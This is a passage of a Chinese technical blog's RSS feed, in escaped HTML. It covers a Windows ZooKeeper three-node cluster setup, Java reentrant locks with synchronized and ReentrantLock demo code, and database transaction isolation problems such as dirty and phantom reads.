&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;server.2=127.0.0.1:2889:3889 
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;server.3=127.0.0.1:2890:3890
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;zk2.cfg&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;tickTime=2000 
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;initLimit=10 
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;syncLimit=5 
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;dataDir=D:/zookeeper/zk2 
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;clientPort=2182 
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;server.1=127.0.0.1:2888:3888 
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;server.2=127.0.0.1:2889:3889 
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;server.3=127.0.0.1:2890:3890
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;zk1.cfg&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;tickTime=2000 
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;initLimit=10 
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;syncLimit=5 
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;dataDir=D:/zookeeper/zk3
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;clientPort=2183 
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;server.1=127.0.0.1:2888:3888 
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;server.2=127.0.0.1:2889:3889 
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;server.3=127.0.0.1:2890:3890
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这里的server.1.2.3这就是每个机器对应的myid的值.
server.1=127.0.0.1:2888:3888解释一下这条配置.前面的2888是各个节点用来互相交流.选取leader的端口.后面这个端口,3888是各个节点用来和leader沟通的节点.而clientPort 是开放出去,等待客户端连接的端口.&lt;/p&gt;
&lt;h2 id=&#34;启动&#34;&gt;启动&lt;/h2&gt;
&lt;p&gt;分别启动三个实例,在zookeeper的安装目录下.进如bin目录,复制三个zkServer.cmd 文件,要是linux就不用这么麻烦了..&lt;/p&gt;
&lt;p&gt;分别加上一行&lt;/p&gt;
&lt;p&gt;set ZOOCFG=../conf/zk1.cfg&lt;/p&gt;
&lt;p&gt;最终这个文件像这样&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;setlocal
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;call &amp;#34;%~dp0zkEnv.cmd&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;set ZOOMAIN=org.apache.zookeeper.server.quorum.QuorumPeerMain
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;set ZOOCFG=../conf/zk1.cfg
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;echo on
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;java &amp;#34;-Dzookeeper.log.dir=%ZOO_LOG_DIR%&amp;#34; &amp;#34;-Dzookeeper.root.logger=%ZOO_LOG4J_PROP%&amp;#34; -cp &amp;#34;%CLASSPATH%&amp;#34; %ZOOMAIN% &amp;#34;%ZOOCFG%&amp;#34; %*
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;endlocal
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;然后直接双击启动zkServer1.cmd,zkServer2.cmd,zkServer3.cmd&lt;/p&gt;
&lt;p&gt;刚启动第一个之后,你会看到有报错,是zookeeper进行选举的时候报错的.因为第一个zk节点.从自己的启动配置里,知道还有两个节点,于是尝试连接.但是连接不上,再启动另外两个.都启动后,报错消失&lt;/p&gt;
&lt;p&gt;然后在D:\zookeeper中可以看到由数据写入.
&lt;img alt=&#34;zk数据目录&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/zk_result.jpg&#34;&gt;&lt;/p&gt;
&lt;h2 id=&#34;测试&#34;&gt;测试&lt;/h2&gt;
&lt;p&gt;启动bin目录的zkCli.cmd,自动连接本机的2181端口.也可以自己指定
zkCli.cmd –server 127.0.0.1:2181,127.0.0.1:2182,127.0.0.1:2183
对客户端来说.连接上了一个列表之后,如果一台挂了,并不会影响.系统依旧可以运行.&lt;/p&gt;
&lt;p&gt;然后执行一些简单的操作
&lt;img alt=&#34;zk测试结果&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/zk_operation_test.jpg&#34;&gt;&lt;/p&gt;
&lt;p&gt;显示根目录下、文件： ls / 使用 ls 命令来查看当前 ZooKeeper 中所包含的内容。
显示根目录下、文件： ls2 / 查看当前节点数据并能看到更新次数等数据。
创建文件，并设置初始内容： create /zktest &amp;ldquo;test&amp;rdquo; 创建一个新的 znode节点“ zk ”以及与它关联的字符串。
获取文件内容： get /zktest 确认 znode 是否包含我们所创建的字符串。
修改文件内容： set /zktest &amp;ldquo;zkbak&amp;rdquo; 对 zk 所关联的字符串进行设置。
删除文件： delete /zktest 将刚才创建的 znode 删除。
退出客户端： quit
帮助命令： help&lt;/p&gt;
&lt;p&gt;可以关掉一个服务器,会发现客户端依然正常.可以执行get set等操作.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Java可重入锁学习笔记</title>
      <link>http://blog.leaver.me/2015/11/20/java%E5%8F%AF%E9%87%8D%E5%85%A5%E9%94%81%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</link>
      <pubDate>Fri, 20 Nov 2015 20:51:25 +0000</pubDate>
      <guid>http://blog.leaver.me/2015/11/20/java%E5%8F%AF%E9%87%8D%E5%85%A5%E9%94%81%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</guid>
      <description>&lt;p&gt;前几天被前辈问到这个可重入锁,结果忘掉了.于是抽空整个了解一下&lt;/p&gt;
&lt;h2 id=&#34;目录&#34;&gt;目录&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;什么是可重入锁&lt;/li&gt;
&lt;li&gt;为什么要可重入&lt;/li&gt;
&lt;li&gt;如何实现可重入锁&lt;/li&gt;
&lt;li&gt;有不可重入锁吗&lt;/li&gt;
&lt;li&gt;demo代码展示&lt;/li&gt;
&lt;li&gt;参考文章&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&#34;1--什么是可重入锁&#34;&gt;1 . 什么是可重入锁&lt;/h2&gt;
&lt;p&gt;锁的概念就不用多解释了,当某个线程A已经持有了一个锁,当线程B尝试进入被这个锁保护的代码段的时候.就会被阻塞.而锁的操作粒度是&amp;quot;线程&amp;quot;,而不是调用(至于为什么要这样,下面解释).同一个线程再次进入同步代码的时候.可以使用自己已经获取到的锁,这就是可重入锁
java里面内置锁(synchronize)和Lock(ReentrantLock)都是可重入的&lt;/p&gt;
&lt;h2 id=&#34;2--为什么要可重入&#34;&gt;2 . 为什么要可重入&lt;/h2&gt;
&lt;p&gt;如果线程A继续再次获得这个锁呢?比如一个方法是synchronized,递归调用自己,那么第一次已经获得了锁,第二次调用的时候还能进入吗? 直观上当然需要能进入.这就要求必须是可重入的.可重入锁又叫做递归锁,再举个例子.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-gdscript3&#34; data-lang=&#34;gdscript3&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;class&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Widget&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;synchronized&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;doSomething&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;o&#34;&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;     
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;class&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;LoggingWidget&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;extends&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Widget&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;synchronized&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;doSomething&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;System&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;out&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;println&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;toString&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;: calling doSomething&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;super&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;doSomething&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;//&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;若内置锁是不可重入的，则发生死锁&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这个例子是java并发编程实战中的例 子.synchronized 是父类Widget的内置锁,当执行子 类的方法的时候,先获取了一次Widget的锁,然后在执行super的时候,就要获取一次,如果不可重入,那么就跪了.&lt;/p&gt;
&lt;h2 id=&#34;3--如何实现可重入锁&#34;&gt;3 . 如何实现可重入锁&lt;/h2&gt;
&lt;p&gt;为每个锁关联一个获取计数器和一个所有者线程,当计数值为0的时候,这个所就没有被任何线程只有.当线程请求一个未被持有的锁时,JVM将记下锁的持有者,并且将获取计数值置为1,如果同一个线程再次获取这个锁,技术值将递增,退出一次同步代码块,计算值递减,当计数值为0时,这个锁就被释放.
ReentrantLock里面有实现&lt;/p&gt;
&lt;h2 id=&#34;4--有不可重入锁吗&#34;&gt;4 . 有不可重入锁吗&lt;/h2&gt;
&lt;p&gt;这个还真有.Linux下的pthread_mutex_t锁是默认是非递归的。可以通过设置PTHREAD_MUTEX_RECURSIVE属性，将pthread_mutex_t锁设置为递归锁。如果要自己实现不可重入锁,同可重入锁,这个计数器只能为1.或者0,再次进入的时候,发现已经是1了,就进行阻塞.jdk里面没有默认的实现类.&lt;/p&gt;
&lt;h2 id=&#34;5--demo代码展示&#34;&gt;5 . demo代码展示&lt;/h2&gt;
&lt;p&gt;5.1 内置锁的可重入&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;public class ReentrantTest {
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    public void method1() {
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        synchronized (ReentrantTest.class) {
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            System.out.println(&amp;#34;方法1获得ReentrantTest的内置锁运行了&amp;#34;);
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            method2();
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        }
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    public void method2() {
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        synchronized (ReentrantTest.class) {
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            System.out.println(&amp;#34;方法1里面调用的方法2重入内置锁,也正常运行了&amp;#34;);
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        }
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    public static void main(String[] args) {
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        new ReentrantTest().method1();
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;5.2 lock对象的可重入&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;import java.util.concurrent.locks.Lock;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;import java.util.concurrent.locks.ReentrantLock;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;public class ReentrantLockTest {
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    private Lock lock = new ReentrantLock();
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    public void method1() {
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        lock.lock();
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        try {
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            System.out.println(&amp;#34;方法1获得ReentrantLock锁运行了&amp;#34;);
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            method2();
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        } finally {
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            lock.unlock();
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        }
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    public void method2() {
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        lock.lock();
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        try {
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            System.out.println(&amp;#34;方法1里面调用的方法2重入ReentrantLock锁,也正常运行了&amp;#34;);
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        } finally {
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            lock.unlock();
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        }
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    public static void main(String[] args) {
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        new ReentrantLockTest().method1();
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;5.3 不同线程不可访问同一锁&lt;/p&gt;</description>
    </item>
    <item>
      <title>事务学习笔记</title>
      <link>http://blog.leaver.me/2015/09/12/%E4%BA%8B%E5%8A%A1%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</link>
      <pubDate>Sat, 12 Sep 2015 16:40:44 +0000</pubDate>
      <guid>http://blog.leaver.me/2015/09/12/%E4%BA%8B%E5%8A%A1%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</guid>
      <description>&lt;p&gt;最近有个感受,在实践中学习固然重要,但是实践遇到的问题常常并没有想象的那么多,而且并不能覆盖所有的情况,所以还是需要对理论有一些深入的理解&lt;/p&gt;
&lt;h2 id=&#34;什么是事务&#34;&gt;什么是事务&lt;/h2&gt;
&lt;p&gt;事务指的是逻辑上的一组操作,这组操作要么全部成功,要么全部失败,不允许出现部分成功的情况.&lt;/p&gt;
&lt;h2 id=&#34;事务的特性&#34;&gt;事务的特性&lt;/h2&gt;
&lt;p&gt;定义了事务之后,事务四个特性&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;原子性
事务是不可分割的单位,事务中的这组操作要么都发生,要么都不发生.&lt;/li&gt;
&lt;li&gt;一致性
一致性说是事务执行前后必须要保持一致,不能出现凭空消失的情况,典型的如银行转账的操作,A给B转账,如果刚开始两人总共有100元,转账完成后两人总共还要有100元.&lt;/li&gt;
&lt;li&gt;隔离性
多个用户并发访问数据库的时候,一个用户的事务不能被其他的用户的事务所干扰.多个并发事务之间数据要相互隔离.比如事务1,C给A转帐,此时事务2,A给B转账.那么两个事务都要修改A账户的余额,一个增加,一个减少,如何保证他们改完之后数据是对的.这是隔离性的要求.&lt;/li&gt;
&lt;li&gt;持久性
一旦事务被提交,对数据库的改变就是持久性的.即使数据库发生故障也不应该有任何影响.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&#34;事务的隔离级别&#34;&gt;事务的隔离级别&lt;/h2&gt;
&lt;p&gt;为什么要有隔离级别呢,因为如果没有隔离级别,当两个事务同时对某条记录进行操作的时候,可能会出现如下几种大家常常听到的情况.&lt;/p&gt;
&lt;p&gt;1  脏读
脏读就是指当一个事务正在访问数据，并且对数据进行了修改，而这种修改还没有提交到数据库中，这时，另外一个事务也访问这个数据，然后使用了这个数据。&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    事务1：更新一条数据
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    -------&amp;gt;事务2：读取事务1更新的记录
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    事务1：调用commit进行提交
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;由于事务2使用了事务1还没有提交的记录,如果事务1最后正常提交了还好,但是如果事务1没有提交,而是回滚了.那么事务2的操作就有问题,因为他用的数据是错的.这就是脏读&lt;/p&gt;
&lt;p&gt;2  不可重复读
在同一事务中，两次读取同一数据，得到内容不同&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    事务1：查询一条记录
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    ————–&amp;gt;事务2：更新事务1查询的记录
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    ————–&amp;gt;事务2：调用commit进行提交
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    事务1：再次查询上次的记录
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;事务1要进行两次查询来做一些比如展示或者使用的操作,但是在两次查询事件被事务2更新掉了记录,所以事务1就出现了不可重复读的问题.&lt;/p&gt;
&lt;p&gt;3  幻读
同一事务中，用同样的操作读取两次，得到的记录数不相同&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    事务1：查询表中所有记录
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    ————–&amp;gt;事务2：插入一条记录
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    ————–&amp;gt;事务2：调用commit进行提交
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    事务1：再次查询表中所有记录
